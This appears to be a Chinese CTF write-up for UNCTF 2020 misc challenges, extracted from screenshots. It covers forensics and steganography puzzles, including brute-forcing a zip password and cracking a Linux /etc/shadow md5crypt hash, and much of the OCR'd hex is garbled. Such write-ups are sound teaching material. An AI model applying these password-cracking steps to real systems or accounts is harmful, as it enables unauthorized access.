文件(F)	命令(C)	工具(S)	收藏実(0) 选项(N)	帮助(H)								
1日 添加) 解压到)) 》 删除	査找	【 】 向导	〔〕 信息	1	く 描病毒	上 】 注释	新日本 一個		
£	े 网络	采处1.zip	- ZIP 压宿	文件, 解包大	小为 356,88	8字节							
名称				~大小	压缩后大/	ト 美型			修改时间	间	CRC32		
						本地磁	雄						
副路道	采处1-2_电	,话录音 zip	c	32 0,09 3	32 0,0 2	2 WinR	AR ZIP 压	缩	2020/1	0/25 1	84871680		
🄰 拨号背	≦. wav			35,244	14,63	6 波形声	音		2020/1	0/18 0	622FE379		
网络淡	采处1-1_可	疑的号码.	.txt	1,551	94	2 文本文	相		2020/1	0/25 1	98D242B5		

🧎 网络深处1-2_电话录音 zip - W	inRAR				
文件(F) 命令(C) 工具(S) 收藏部	ŧ(O) 选项(N)	帮助(H)			
添加 解圧到 测试 1			》 (1) 吗 信息	自描病毒 注释	自解压格式
🗈 📄 网络深处1-2_电话录音	fzip\网络深处1-2	2_电话录音 - Z	ZIP 压缩文件,解包	达小为 600,816 字节	
名称	×大小	压缩后大小	类型	修改时间	CRC32
-			本地磁盘		
▶ 电话录音.wav *	600,046	318,962	波形声音	2020/10/18 2	F769C0B3
■ 网络深处1-2——电话录音.txt *	770	493	文本文档	2020/10/25 1	2610572B

题目内故事纯属虚构,完全架空。

你是一名学生,你在夜间路过一个电话亭,一个人鬼鬼祟祟的进入电话亭拨通了一个电话又拿出手机录了音,他反常的行为引起了你的注意,他走 后你决定去电话亭看看。 电话亭里又一个皱巴巴的纸条,上面写着一串数字:63680684174836875047772052889549261103972881891349510411278191926317404 0060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381 077341015321904079977733523081595853353767460268829074668938648158872741587329651857373729926971088623620615826 4663884173336104608605312728490053265888522056935025338346904774174268673012876368025304888363844652842176092913 1783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616 665570429230738621272988581871,这很可能是刚才的人不小心丢在这里的,这显然不是电话号码,这使你更加好奇,你决定看看他拨的是 什么电话号码。 你按了一下重拨键,想看看他拨打的电话号码,但是这个公用电话的屏幕坏了,之传出了一段拨号音,你迅速挂掉电话又重拨了一次并录下了拨号 音。 回到寝室的你像弄清楚字条的含义,看来只有得到他拨打的电话才能搞明白字条的含义了。 得到电话号码以后,你拨通了他,里面传出一段杂音,一筹莫展的你决定将这件奇怪的事情告诉警察。

电话号码就是压缩包密码</code>

txt内容(如果认出数字是什么的话有可能可以跳步做,但当时不知道),听了下拨号音.wav,就是正常拨打电话的按键音,使用 dtmf2num.exe得到号码: 15975384265

🔀 管理员: Windows PowerS	ell	<u> </u>	×
'S E:\CTF\工具\音频>.	\dtmf2num.exe .\拨号音.wav		
TMF2NUM 0.1c y Luigi Auriemma -mail: aluigi@autistj eb: aluigi.org	ci.org		
open.\??????.wav wave size 35200 format tag 1 channels: 1 samples/sec: 8000			
avg/bytes/sec: 16000 block align: 2 bits: 16 samples: 17600 blas adjust: -3			
normalize: 3296	. 29471		
MF numbers: 74			

解压加密压缩包得到两个文件,一段电话录音和一个文本,文本内容



音频拖进Audacity(当时解压出来听了一段,是白噪音,差点把自己愉悦送走),查看频谱图



接着该百度百度该谷歌谷歌,回到那串数字上了,最后查到是一种tupper自我指涉公式的图像,在线转化的网站: Tupper's Formula Tools (tuppers-formula.ovh)



得到flag: flag{Y29pbA==}

听说原先是有网络深处2的,但是要搭洋葱,8太合适,就没下文了

baba_is_you

6:03BOh:	A3	\mathbf{BF}	04	11	11	11	11	D1	DF	08	56	80	89	36	48	AF	£¿Ñß.V€‱6H
6:03COh:	58	ВC	2C	57	DC	9E	90	37	F9	70	88	88	88	88	88	B6	X∿∢,WÜž.7ùp^^^^^¶
6:03DOh:	1A	2 B	CO	44	44	44	44	44	44	В4	15	FC	37	FD	00	88	.+ÀDDDDDD1.ü7ý.^
6:03E0h:	FΕ	96	D9	95	E7	98	AE	6A	6B	С5	OA	30	11	11	11	11	þ−Ù•ç~®jkÅ.O
6:03F0h:	D1	A6	30	00	13	6D	90	Ε1	99	CD	9E	89	88	88	88	88	ѦOm.á™Íž‰^^^^
6:0400h:	E8	1B	СО	00	4C	В4	41	8C	BF	44	44	44	44	44	DF	1E	è.À.L'AŒ¿DDDDDB.
6:0410h:	OC	со	44	1B	F4	55	2 B	со	9C	F7	4B	44	44	44	44	B4	.ÀD.ÔU+Àœ÷KDDDD′
6:0420h:	39	ОC	со	44	1B	74	D5	8E	DE	AB	82	2 E	E7	1D	11	11	9.ÀD.tŐŽÞ«,.ç
6:0430h:	11	11	11	6D	OE	вв	40	13	11	11	11	11	11	D1	56	60	m.»0ÑV`
6:0440h:	05	98	68	83	FC	95	4B	AO	В9	ЗB	98	88	88	88	88	E8	."hfü•K ';"^^^^è
6:0450h:	2 F	8D	15	60	22	22	22	22	22	22	DA	ΟA	OC	СО	44	44	/`"""""ÚÀDD
6:0460h:	44	44	44	44	В4	15	18	80	89	88	88	88	88	88	68	2 B	DDDD1€%^^^^h+
6:0470h:	30	00	13	11	11	11	11	11	D1	56	60	00	26	22	22	22	0ÑV`.&"""
6:0480h:	22	22	A2	AD	со	00	4C	44	44	44	44	44	44	5B	81	01	""¢-À.LDDDDDD[
6:0490h:	98	88	88	88	88	88	88	В6	02	03	30	11	11	11	11	11	~~~~~¶0
6:04A0h:	11	6D	05	06	60	22	22	22	22	22	22	DA	OA	oc	со	44	.m`"""""ÜÅD
6:04B0h:	44	44	44	44	44	В4	15	18	80	89	88	88	88	88	88	68	DDDDD′€‱^^^^h
6:04COh:	2B	30	00	13	11	11	11	11	11	D1	56	60	00	26	22	22	+0ÑV`.&""
6:04DOh:	22	22	22	A2	AD	со	00	4C	44	44	44	44	44	44	5B	81	"""¢-Å.LDDDDDD[.
6:04E0h:	01	98	88	88	88	88	88	88	B6	C2	1F	01	5D	B5	ΕB	ΕE	.~^^^^¶Å]μëî
6:04F0h:	FΒ	A5	7D	30	00	00	00	00	49	45	4E	44	ΑE	42	60	82	û¥}OIEND®B`,
6:0500h:	OA	OA	68	74	74	70	73	ЗA	2F	2 F	77	77	77	2 E	62	69	https://www.bi
6:0510h:	6C	69	62	69	6C	69	2 E	63	6F	6D	2 F	76	69	64	65	6F	libili.com/video
6:0520h:	2 F	42	56	31	79	34	34	31	31	31	37	33	37	OA			/BV1y44111737.



看评论得到flag: unctf{let's_study_pwn}

YLB绝密文件

下载下来是一个pcapng文件,用wireshark打开分析,用** http.request.method==POST ** 过滤所有的post包。看到有三次post的数据。分别提取出来要变成换成原始数据再保存为rar就可以获得压缩包。里面还有个pyc,吧多余的数据去掉,然后还是反编译不出来,直接用记事本打开可以看到字符串**YLBSB?YLBNB!**。

Cookie: hblid=J2aVBPqQvFLcgqvH3m39N0U0GoA26B0I; olfsk=olfsk8519775047735645; csrftoken=8W3mnLFxOqFPDfIVjqebRT8mrb65AQlUVwYe2c3FLx26kpYx NnoadtsGicA6j5yY; PHPSESSID=3b8i82an3o6nrpsvgebsferr4i Jpgrade-Insecure-Requests: 1
Content Disposition: form data: name="unloadfile":
Filename="xor.py" Content-Type: text/x-python
<pre>#coding:utf-8 import base64 From secret import key file = open("YLBSB.docx", "rb") enc = open("YLBSB.xor", "wb") olain = base64.b64encode(file.read()) count = 0 for c in plain: d = chr(c ^ ord(key[count % len(key)])) enc.write(d.encode()) count = count + 1 Content-Disposition: form-data; name="submit"</pre>
HTTP/1.1 200 OK
组 128。1 <u>客户端</u> 分组, 1 服务器 分组, 1 turn(s). 点击选择。
f1%: 滤掉此流 打印 Save as… 返回 Close Help



根据加密脚本写解密脚本,加密逻辑为先base64加密后再每一位异或,我们只要每一位异或后base64解密就行了。



得到doc直接ctrl+f搜索unctf发现结尾有flag字符串。

倒影

打开压缩包,得到一个**exe**文件,运行显示失败,丢进16位编辑器

<u> </u>					
名称	~大小	压缩后大小	类型	修改时间	CRC32
<mark>.</mark>			本地磁盘		
□□ 倒影.exe	21,392	19,415	应用程序	2020/10/21 1	2A843E8E

	Ó	ļ	2	3	4	Ş	Ģ	- ? -	Ŗ	9	Ą	B	Ç	D	Ē	F	0123456789ABCDEF
0000h:	FF	D8	FF	ΕO	00	10	4A	46	49	46	00	01	01	01	00	48	ÿØÿàJFIFH
0010h:	00	48	00	00	FF	DB	00	43	00	09	06	06	08	06	05	09	.HÿÛ.C
0020h:	08	07	08	OA	09	09	OA	OD	16	OE	OD	0C	OC	OD	1A	13	
0030h:	14	10	16	1F	1C	21	20	1F	1C	1E	1E	23	27	32	2 A	23	!#'2*#
0040h:	25	2F	25	1E	1E	2 B	ЗB	2C	2 F	33	35	38	38	38	21	2 A -	%/%+;,/35888!*
0050h:	ЗD	41	ЗC	36	41	32	37	38	35	FF	DB	00	43	01	09	0A	=A<6A2785ÿÛ.C

看文件头判断是jpg文件,而且最后面有串base64编码

5180h:	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
5190h:	00	00	00	00	00	00	00	00	00	7F	FF	D9	4D	44	41	77	ÿÙMDAw
51AOh:	4D	44	41	77	4D	44	41	77	4D	45	49	30	4D	44	41	77	MDAWMDAWME IOMDAW
51BOh:	4D	44	41	77	51	54	55	77	4D	44	45	77	4D	44	41	78	MDAwQTUwMDEwMDAx
51COh:	4D	44	41	77	4D	44	41	77	4D	44	41	77	4E	6A	41	31	MDAwMDAwMDAwNjA1
51DOh:	4D	45	49	30	4D	44	55	78	4D	44	5A	45	4E	6B	45	35	MEIOMDUxMDZENkE5
51EOh:	52	55	45	79	4E	45	55	31	4E	7A	59	33	4D	54	41	32	RUEyNEU1NzY3MTA2
51FOh:	52	44	64	42	52	44	55	34	51	55	4D	79	4D	6A	6B	30	RDdBRDU4QUMyMjkO
5200h:	4D	44	45	77	4E	6B	51	33	51	55	51	31	4F	45	46	44	MDEwNkQ3QUQ10EFD
5210h:	4D	6A	49	35	4E	44	41	77	4D	44	67	78	4D	44	41	78	MjI5NDAwMDgxMDAx
5220h:	4D	44	41	77	MDAWMDAWMDAWMDAW												
5230h:	4D	6A	41	77	51	54	41	30	4E	7A	67	33	4E	44	64	46	MjAwQTAONzg3NDdF
5240h:	4D	6A	63	32	4D	54	5A	44	4E	6A	59	32	4D	44	41	77	Mjc2MTZDNjY2MDAw
5250h:	4D	44	41	77	MDAWMDAWMDAWMDAW												
5260h:	4D	6A	41	77	4D	44	41	77	4D	44	41	77	4D	44	41	77	MjAwMDAwMDAwMDAw
5270h:	4D	44	41	77	4E	44	49	77	4D	44	67	77	4D	44	41	77	MDAwNDIwMDgwMDAw
5280h:	4D	44	41	77	4F	54	45	77	4D	44	41	77	4D	44	41	31	MDAWOTEWMDAWMDA1
5290h:	4D	6A	6B	33	52	44	51	31	4D	7A	56	46	4D	54	55	31	Mjk3RDQ1MzVFMTU1
52AOh:	4E	55	55	31	51	7A	6B	77	4D	44	41	77	4F	44	41	78	NUU1QzkwMDAwODAx
52BOh:	4D	44	41	77	51	54	41	77	4D	45	59	7Å	4D	6A	41	78	MDAwQTAwMEYzMjAx
52COh:	4D	45	49	30	4D	44	56	43	4E	45	56	44	51	7A	64	46	MEIOMDVCNEVDQzdF
52DOh:	4F	54	67	34	4F	55	56	45	52	6A	46	43	51	54	4D	77	OTg4OUVERjFCQTMw
52EOh:	51	7Å	5A	47	52	6A	63	78	4F	44	4D	32	52	55	4A	44	QzZGRjcxODM2RUJD
52FOh:	52	6B	55	35	51	54	63	7A	4E	55	56	47	52	44	5A	46	RkU5QTczNUVGRDZF
5300h:	4E	54	41	78	51	30	55	78	4E	44	45	77	4F	54	55	77	NTAxQOUxNDEwOTUw
5310h:	4E	54	67	79	4E	7Å	63	32	4E	45	49	32	4F	55	52	44	NTgyNzc2NEI2OURD
5320h:	4D	7A	64	44	4E	6B	55	79	52	54	51	33	4F	44	63	30	MzdDNkUyRTQ3ODc0
5330h:	4E	30	55	79	4E	7Å	59	78	4E	6B	4D	32	4E	6A	59	77	NOUyNzYxNkM2NjYw
5340h:	4D	44	41	77	4D	44	41	34	4D	44	41	77	4D	44	41	77	MDAwMDA4MDAwMDAw
5350h:	4D	44	6B	78	4D	44	41	77	4D	44	41	77	4E	54	49	35	MDkxMDAwMDAwNTI5
5360h:	4E	30	51	30	4E	54	4D	31	52	54	45	31	4E	54	56	46	NOQONTM1RTE1NTVF
5370h:	4E	55	4D	35	4D	44	41	77	4D	44	67	77	4D	54	41	77	NUM5MDAwMDgwMTAw
5380h:	4D	45	45	77	4E	44	41	7Å	4D	45	49	30	4D	44	55	ЗD	MEEwNDAzMEIOMDU=
5390h.																	

Base64.us Base64 在线编码解码 (最好用的 Base64 在线工具)

Base64 | URLEncode | MD5 | TimeStamp

请输入要进行 Base64 编码或解码的字符

MDAwMDAwMDAwMDAwMDAwQTUwMDEwMDAxMDAwMDAwMDAwNjA1MEI0MDUxMDZENkE5RUEyNEU1NzY3MTA2 RDdBRDU4QUMyMjk0MDEwNkQ3QUQ10EFDMjI5NDAwMDgxMDAxMDAwMDAwMDAwMJAwQTA0Nzg3NDdFMjc2MTZ 1MzVFMTU1NUU1QzkwMDAwODAxMDAwQTAwMEYzMjAxMEI0MDVCNEVDQzdF0Tg40UVERjFCQTMwQzZGRjcxODM2RUJDRk U5QTczNUVGRDZFNTAxQ0UxNDEwOTUwNTgyNzc2NEI2OURDMzdDNkUyRTQ3ODc0N0UyNzYxNkM2NjYwMDAwMDA4MDAwM DAWMDkxMDAwMDAwNTI5N0Q0NTM1RTE1NTVFNUM5MDAwMDgwMTAwMEEwNDAzMEI0MDU= (编码快捷键: Ctrl + Enter) 编码(Encode) 解码 (Decode) 1交换 Base64 编码或解码的结果: □ 编/解码后自动全选 000000000B4000000A50010001000000006050B405106D6A9EA24E5767106D7AD58AC22940106D7AD58AC2294000810010000 A000F32010B405B4ECC7E9889EDF1BA30C6FF71836EBCFE9A735EFD6E501CE14109505827764B69DC37C6E2E478747E27616C6660 000008000000910000005297D4535E1555E5C90000801000A04030B405 解码完毕。生成固定链接 也可以选择图片文件来获取它的 Base64 编码的 DataURI 形式: 选择文件 未选择文件

得到字符串,其实题目名字是提示,前后都读一下,发现倒着读是504B0304,标准的zip文件头,用python倒着输出一下,得到 zip文件的16进制

str = '000000000B4000000A500100010000000006050B405106D6A9EA24E5767106D7AD58AC22940106D7AD58AC229400081001000000
000000200A0478747E27616C6660000000000000000000000000042008000000910000005297D4535E1555E5C9000080100A000F32
010B405B4ECC7E9889EDF1BA30C6FF71836EBCFE9A735EFD6E501CE14109505827764B69DC37C6E2E478747E27616C666000000800000000000
10000005297D4535E1555E5C90000801000A04030B405'

print(str[::-1])

用16进制编辑器写入数据,改后缀打开

aat	a. png. 2		123	+ ×	00	. Z11	D	ac		280	.96. i	ZT 1 D		<pre>KE</pre>	90	Ľ	.GDU. PI	ig Lubu_2.png 🔪
Ŧ	Edit A	s: He	х V	R	un So	ript	t 🗸	Ru	n Te	mpla	te 🗸	/						
		Ó												Ċ		Ē		0123456789ABCDEF
A:10	C20h:	- 50	4B		04	ОA	00	01	08	00	00		5E	55	51	E5	35	PKœ^UQå5
A:10	C3Oh:	4D								00								My%fl
A:10	C40h:	61		2 E				E2	Ε6				6B	46		28	50	ag.txtâæÇ<ÙkFw(P
A:10	C50h:			41	EC		SE		FE									Y.Aì.^mþSzžü%c
A:10	C60h:	F 6	CO	ЗA	B1	$\mathbf{F}\mathbf{D}$	E9		9E		CE	4B	50	4B	01	02	3F	öÀ:±ýé^ž∣ÎKPK?
A:10	C70h:		0A					00		SE			E5		4D			œ^UQå5My%
A:10	C80h:	00	00	00	19	00	00	00	08	00		00	00	00	00	00	00	
A:10	C90h:					00		00		00					2 E			
A:10	CAOh:		OA	00		00	00	00	00	00	01	00	18	00	04	92		
A:10	CBOh:										5D						E4	
A:10	CCOh:	2 A	Ε9	A6		01		4B	05	06	00	00	00	00	01	00	01	*é¦Ö.PK
A:10	CDOh:	00	SA	00	00	00	4B	00		00	00	00						

123.zip - WinRAR				·	
文件(F) 命令(C) 工具(S) 收藏	陕(O) 选项(N)	帮助(H)			
新加 解E到 测试	<u> </u>	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA		日描病毒 注释	自解压格式
🗈 📔 123.zip - 自解压格元	t ZIP 压缩分卷,角	曜包大小为 25	字节		
名称	~ 大小	压缩后大小	类型	修改时间	CRC32
<mark>.</mark> .			本地磁盘		
📄 flag.txt *	25	37	文本文档	2020/10/21 1	794D35E5

编辑时看了一下,不是伪加密,不知道是不是漏了什么线索,当时没办法硬跑一下跑出来了

🔏 ARCHPR 4.54 - 65%	– 🗆 X							
文件(F) 恢复(R) 帮助(H)								
🗳 🤼 🌾 🗳								
1 1开 开始! 停止 基准测	瓜 开级 帮助 天十 退出							
山令已成功恢复!	×							
Advanced Archive Pa	ssword Recovery 统计信息:							
总计口令	769,841							
总计时间	34ms							
平均速度(口令/秒)	22,642,382							
这个文件的口令 658745								
十六进制口令	36 35 38 37 34 35 🥻 🖓							
📊 保存	✔ 确定							
状态窗口								
\wxid_0tif1f46vk0t21\FileStorage\File\20 2020/11/15 15:18:13 - 开始暴力攻击 2020/11/15 15:18:13 - 口令已成功恢复	120-11\123.zip"已打开。							
2020/11/15 15:18:13 - '658745' 是这个;	文件的一个有效口令 🛛 💙							
当前口令: 658745 已用时间: 口令长度 = 6, 总计: 1,000,000, 已处理:	平均速度: 26,546,241 p/s 剩余时间: 658,741							
	65%							
ARCHPR version 4.54 (c) 1997-2012 Elcoms	öoft Co. Ltd.							

密码658745,得到flag: UNCTF{Th13_ls_@_F1@G}

EZ_IMAGE

先用montage把所有图片组合起来,有225张图片我用脚本跑一下猜测图片长宽都为15。

montage *.jpg -tile 15x16 -geometry +0+0 1.jpg

然后用gaps拼图,因为每张图片的大小为60x60所以size=60

<code>gaps --image=1.jpg --size=60 --save</code>



你能破解我的密码吗

下载一个shadow文件,/etc/shadow文件,用于存储Linux系统中用户的密码信息,又称为"影子文件"。看到有个用户有密码信息拿到cmd5破解得到flag。

文密	: \$1\$AH\$xtjl	\$1\$AH\$xtjky.3kppbU27tR0SDJT.:18556:0:99999:7:::							
大学	: md5(salt)			▼ [<u>帮助]</u>					
		查询	加蜜						
查询结果:									

123456

零

下载下来一段密文,不是凯撒也不是维吉尼斯密码,结合题目名字猜测是零宽字符隐写。

在http://330k.github.io/misc_tools/unicode_steganography.html这个网站解密但是我在写wp时这个网站进不去。

爷的历险记

玩游戏房间右边上面的房间有个宝箱,会显示base64密文,解密后解锁宝箱,打在门口的老鼠,下面有个宝箱解莫斯电码,往 右边走打倒敌人获得一个假flag,然后到地图下面有个宝箱,假flag的长度和123456做异或就是宝箱密码。打倒下面的那个敌人 去地图中间那个人那里买hint2提示改存档。先保存一个存档,有个save文件夹,里面有2个rpgsave。用http://web.saveeditor.com/tool/rpg_tkool_mv.html改存档打过右边的就有flag了。

YLB's CAPTCHA

用肉眼看,区分大小写。

撕坏的二维码

用软件直接识别

😳 QR Research	- 🗆 X
文件(F) 工具(T) 帮助(H)	
	» 📀 🖾 🕥 🧹
	 H(30%) ▼ Auto ▼ 版本 尺寸 Auto ▼ 4 ÷ Auto
1	^
	~
已解码数据 1:	^
位置:(10.1,10.3)-(291.0,10.3)-(10.1, 颜色正常,正像 版本: 3 纠错等级:H, 掩码:5 内容: unctf{QR@2yB0x}	 1,289.7)-(291.0,289.7)
, 解码完成	

被删除的flag

linux下用strings找到flag字符串

root@kali:~/桌面# str /home/zhou/unctf/ flag/mpt	ings flag	Lixt
δ'Ni		
lost+found		
flag.txt		
&'Ni		
lost+found		
flag.txt		
/home/zhou/unctf/		
flag/mnt		
lost+found		
flag.txt		
σ'N1		
/nome/znou/unctt/		
Tlag/mnt		
unctr{congratulations	5:}	(1.212)

躲猫猫

下载下来一个excel表格文件打不开,用winhex查看是个压缩包格式,改后缀打开。在xl/sharedStings.xml出看到flag的base64加 密形式。

↑ Ist.zip\xI - ZIP archive, unpacked size	23,150 bytes 🗸
Name	C:Users\ljy\AppData\Local\Temp\Rar\$Dla19640.19069\sharedStrings.xml () 授素 C:Users\ljy\AppData\Lo × ① xml version="1.0" encoding="UTF-8" standalone="true"? < sst uniqueCount="2" count="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> < sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> < sst uniqueCount="2" count="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> < sst uniqueCount="2" count="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> < sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> < sst uniqueCount="2" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> < sst uniqueCount="1" xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/mai

mouse_click

看题目,鼠标流量分析,下载压缩包,得到文件

	🗎 mou:	se_click.zip	- WinR	AR									_	×
	文件(F)	命令(C)	<u>工具(</u> S)	收藏实(0)	选项(N)	帮助(H)								
	家加	解压到) 测试	oo _{查看}	National Sector (1997) 制除	主	() 向导	<mark>〔〕</mark> 信息	A 日描病毒	<u> </u> 注释	自解压格式			
	1	📜 mouse	e_click.zij	p-ZIP 压缩	文件,解包	大小为 25,7	02,756 🕸	节						~
~	名称				~ 大小	压缩后大/	▶ 类型		修改时	间	CRC32			
-	. .						本地磁	益						
A	💼 mous	e_click.pca	apng	25,	702,756	512,62	7 Wires	hark captu	2020/	11/2 20 	A1BDD6DD			
L	1													
f] ~ C E	经选择 25,	702,756	字节(1 个文	件)	haro/	W1 FO	chark	总# 631	计 25,702	2,756 字节(1 个文件)			

丢进kali,执行指令

tshark -r mouse_click.pcapng -T fields -e usb.capdata | sed '/^\s*\$/d' > usbdata.txt

				*7.al	/root/桌面/usbdata.txt - Mousepad	_ = ×
又仟(F) 编辑(E)	搜察(S)	侊图(V)	又档(D)	帮助(H)	繁生,你正在庙田 root 畔白,遍作不当可能会提家你的玄佐	
1 00000100						
2 00110100						
4 00ff0200						
5 00ff0200						
6 00ff0100						
7 00000100						
8 00ff0100						
9 00000100						
10 00000200						
12 00000200						
13 00ff0100						
14 00000100						
15 00000100						
16 00000200						
17 00000100						
18 00000100						
20 00000100						
21 00000100						
22 00000100						
23 00000100						
24 00000200						
25 00000100						
20 00000100						
28 00000200						
29 00000100						
30 00000100						
31 00000100						
32 00fe0400						
33 00fe0100						
35 00fe0200						
36 00ff0100						
37 00ff0100						
38 00fe0200						
39 00ff0100						
40 00110000						

```
nums = []
keys = open('usbdata.txt', 'r')
result=open('result.txt', 'w')
posx = 0
posy = 0
for line in keys:
    x = int(line[2:4],16)
    y = int(line[5:7],16)
    if x > 127 :
        x -= 256
    if y >115 :
        y -=256
    posx += x
    posy += y
    btn_flag = int(line[0:2],16)  # 1 for left , 2 for right , 0 for nothing
    if btn_flag == 1 : # 1 代表左触, 2代表右她
        result.write(str(posx)+' '+str(-posy)+'\n')
keys.close()
result.close()
```

		141				/root/桌面/result.txt - Mousepad	_ = ×
文件(F)	编辑(E)	搜索(S)	视图(V)	文档(D)	帮助(H)	警告:您正在使用 root 账户,操作不当可能会损害您的系统。	
1 -21	-848						1
2 -22	-944						
3 -22	-1056						
5 -22	-1328						
6 -22	-1344						
7 -22	-1376						
8 -22	-1392						
9 -22	-1408						
10 -22	-1424						
11 -22	-1456						
12 - 22	-2144						
14 - 21	-21/0						
15 -20	-2208						
16 -19	-2224						
17 -19	-2224						
18 -18	-2240						
19 -18	-2256						
20 -17	-2272						
21 - 17	-2200						
22 -10	-2726						
24 -13	-2752						
25 -8	-2992						
26 -5	-3008						
27 -5	-3024						
28 - 3	-3136						
29 - 2	-3152						
310 -	3204						
32 0 -	3232						
33 1 -	3264						
34 2 -	3312						
35 10 -	-3488						
36 11	-3488						
37 12	-3488						
38 19	-3472						
40 21	-3456						

用gnuplot软件画图



读出flag: unctf{U5BC@P}

阴阳人编码

将就这和不会把改成Ook,将反问号改成问号拿去网站解Ook编码

博客: http://www.lu0sf.top